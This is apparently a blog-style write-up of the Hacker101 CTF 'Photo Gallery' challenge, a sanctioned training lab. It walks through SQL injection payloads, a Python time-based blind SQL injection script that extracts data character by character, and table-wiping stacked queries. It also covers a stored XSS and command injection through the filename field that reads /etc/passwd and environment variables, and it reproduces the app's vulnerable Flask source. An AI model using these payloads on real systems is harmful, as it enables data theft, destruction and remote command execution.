HackerOne CTF Photo Gallery (Spoilers)
It's been a little while since I've had the time and energy to hack, but now I'm back at it and trying to crack the HackerOne CTF Photo Gallery challenge. The application is as simple as can be:
Magical Image Gallery
Kittens
Utterly adorable
Purrfect
Invisible
<!doctype html>
<html>
<head>
<title>Magical Image Gallery</title>
</head>
<body>
<h1>Magical Image Gallery</h1>
<h2>Kittens</h2>
<div><div><img src="fetch?id=1" width="266" height="150"><br>Utterly adorable</div><div><img src="fetch?id=2" width="266" height="150"><br>Purrfect</div><div><img src="fetch?id=3" width="266" height="150"><br>Invisible</div><i>Space used: 0 total</i></div>
</body>
</html>
Each of the photos is retrieved by a "fetch" endpoint via a GET request and a single id parameter which is passed the integers 1 through 3. The image with id=3 doesn't work, but the other two do. Since these aren't normal HTML <img src="...">
tags, I have to imagine that there are some additional backend shenanigans going on. Perhaps a database query? If correct, it could be vulnerable to a SQL injection:
' OR id=1;--
Internal server error.
3 OR id=1;--
The data for image id=1! Very interesting. This is definitely vulnerable to SQL injection and it appears to just dump the content of the query into the page as raw bytes without the correct content type headers. It's rendered as garbled text. This is a prime candidate for a union to extract information from some other table. I just need to know how many columns I'm joining to this query:
1 ORDER BY 1;--
Ok.
1 ORDER BY 2;--
Internal server error. Great, it's just one column. If I were to write a query for an image returning just 1 column, I'd return a path to a file. They might be nuts and have the bytes stored directly in the database column Let's try some path traversals:
1 UNION SELECT '/etc/passwd' ORDER BY 1;
1 UNION SELECT '/var/www/html/get.php' ORDER BY 1;
1 UNION SELECT 'index.html' ORDER BY 1 DESC;
None of these. A hint says this is a flask app? What about:
1 UNION SELECT 'main.py' ORDER BY 1 DESC;
That's it, and it leads to a full blown source code disclosure with the first flag embedded in a comment:
from flask import Flask, abort, redirect, request, Response
import base64, json, MySQLdb, os, re, subprocess
app = Flask(__name__)
home = '''
<!doctype html>
<html>
<head>
<title>Magical Image Gallery</title>
</head>
<body>
<h1>Magical Image Gallery</h1>
$ALBUMS$
</body>
</html>
'''
viewAlbum = '''
<!doctype html>
<html>
<head>
<title>$TITLE$ -- Magical Image Gallery</title>
</head>
<body>
<h1>$TITLE$</h1>
$GALLERY$
</body>
</html>
'''
def getDb():
return MySQLdb.connect(host="localhost", user="root", password="", db="level5")
def sanitize(data):
return data.replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"')
@app.route('/')
def index():
cur = getDb().cursor()
cur.execute('SELECT id, title FROM albums')
albums = list(cur.fetchall())
rep = ''
for id, title in albums:
rep += '<h2>%s</h2>\n' % sanitize(title)
rep += '<div>'
cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
fns = []
for pid, ptitle, pfn in cur.fetchall():
rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
fns.append(pfn)
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
rep += '</div>\n'
return home.replace('$ALBUMS$', rep)
@app.route('/fetch')
def fetch():
cur = getDb().cursor()
if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
abort(404)
# It's dangerous to go alone, take this:
# ^FLAG^****************************************************************$FLAG$
return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
This source code is sure to help with the next two flags. The fetch function uses the filepath to read a file, but image 3 fails with a 500 error. I'm guessing that the file doesn't exist, because it's the flag I want. Maybe we can make it work with some SQL magic:
3 UNION SELECT 'three.txt' ORDER BY 1 DESC; SELECT filename INTO OUTFILE 'three.txt' FROM photos WHERE id = 3;
No luck. This might not be writing the file to the same path or even server as the flask app. When in doubt, a timed blind SQL exfiltration of the data is always an option:
import requests
import time
table_name_length = 10
# Printable ASCII characters excluding ', "
test_characters = [
chr(i) for i in range(32, 127)
if chr(i) not in ("'", '"', '\\', "#", '&') and chr(i) == chr(i).lower()
]
print(test_characters)
url = "https://3fe810ef2f7e45090a65c3ed5fde382a.ctf.hacker101.com/fetch?id="
sleep_time = 2
with open("three.txt", "a") as f:
character_position = len(open("three.txt", "r").readlines()) + 1
def test(test_character, character_position):
query = f"""1-IF(EXISTS(SELECT filename FROM photos WHERE id=3 AND MID(filename, {character_position}, 1)='{test_character}'), SLEEP({sleep_time}), 0);"""
tic = time.perf_counter()
requests.get(f"{url}{query}")
toc = time.perf_counter()
elapsed = toc - tic
passed = elapsed > (3 * sleep_time) and elapsed < (3 * sleep_time) + 1.0
return passed, elapsed
while character_position <= 65:
for test_character in test_characters:
passed, elapsed = test(test_character, character_position)
if passed:
# retest
passed, elapsed = test(test_character, character_position)
if passed:
print(f"{character_position}, {test_character}: {elapsed}")
f.write(f"{character_position} -> {test_character}\n")
f.flush()
break
else:
# Best 2 out of 3
passed, elapsed = test(test_character, character_position)
if passed:
print(f"{character_position}, {test_character}: {elapsed}")
f.write(f"{character_position} -> {test_character}\n")
f.flush()
break
character_position += 1
with open("three.txt", 'r') as f:
raw_data = f.readlines()
data = [s.strip().split(" -> ") for s in raw_data]
result = ''.join([s[1] for s in data if len(s) > 1])
print(result)
This probably wasn't the most elegant way to get the job done, but it yields a 64 character hex string -- my next flag!
Next I want to see if it's possible to insert new records into the database tables. If so, there's at least a stored XSS available for the next flag. To test this, let's first try the insert into albums:
1; INSERT INTO albums (title) VALUES ('hacked'); COMMIT;--
Magical Image Gallery
Kittens
Utterly adorable
Purrfect
Invisible
hacked
This worked, the new album "hacked" appears at the bottom of the page. In the source code above, there is one field that's not sanitized: filename. The developer clearly thought because it's being used in their subprocess call to 'du -ch %s || exit 0'
that it wouldn't matter. But they take the output of this command and run it through .strip().rsplit('\n', 1)[-1]
getting the final line of the command output. The call to du -ch ...
will return a result like:
> du -ch file_1.txt file_2.txt
4.0K file_1.txt
4.0K file_2.txt
8.0K total
After which the rsplit on the \n character selects just the final line of that output. All I need to do is replace the final line of output piped to exit 0, which requires just one little semicolon.
1; DELETE FROM photos; DELETE FROM albums; COMMIT; INSERT INTO albums (id, title) VALUES (3, 'hacked'); COMMIT; INSERT INTO photos (id, title, filename, parent) VALUES (1, 'hacked', '/dev/null; echo "<script>console.log(1);</script>" ', 3); COMMIT;--
Magical Image Gallery
hacked
hacked
That worked beautifully, printing 1 to the console as expected. But there's no flag. That's not entirely surprising -- an XSS is a weak use of this exploit chain. This is a command injection vulnerability allowing complete access to the shell on the target box, after all. So what's in /etc/passwd?
1; DELETE FROM photos; DELETE FROM albums; COMMIT; INSERT INTO albums (id, title) VALUES (2, 'hacked'); COMMIT; INSERT INTO photos (id, title, filename, parent) VALUES (2, 'hacked', 'fake.png; cat /etc/passwd', 2); COMMIT;--
Magical Image Gallery
hacked
hacked
No flags there either. Do the environment variables tell me anything?
1; DELETE FROM photos; DELETE FROM albums; COMMIT; INSERT INTO albums (id, title) VALUES (1, 'hacked'); COMMIT; INSERT INTO photos (id, title, filename, parent) VALUES (1, 'hacked', 'fake.png; echo $(printenv)', 1); COMMIT;--
Magical Image Gallery
hacked
hacked
That's it. Interestingly, if one manages to achieve the command injection as their first vulnerability, they'll just receive all three flags at once. It's certainly deserved if you manage to go straight to that point without the benefit of the source code disclosure vulnerability for the first flag!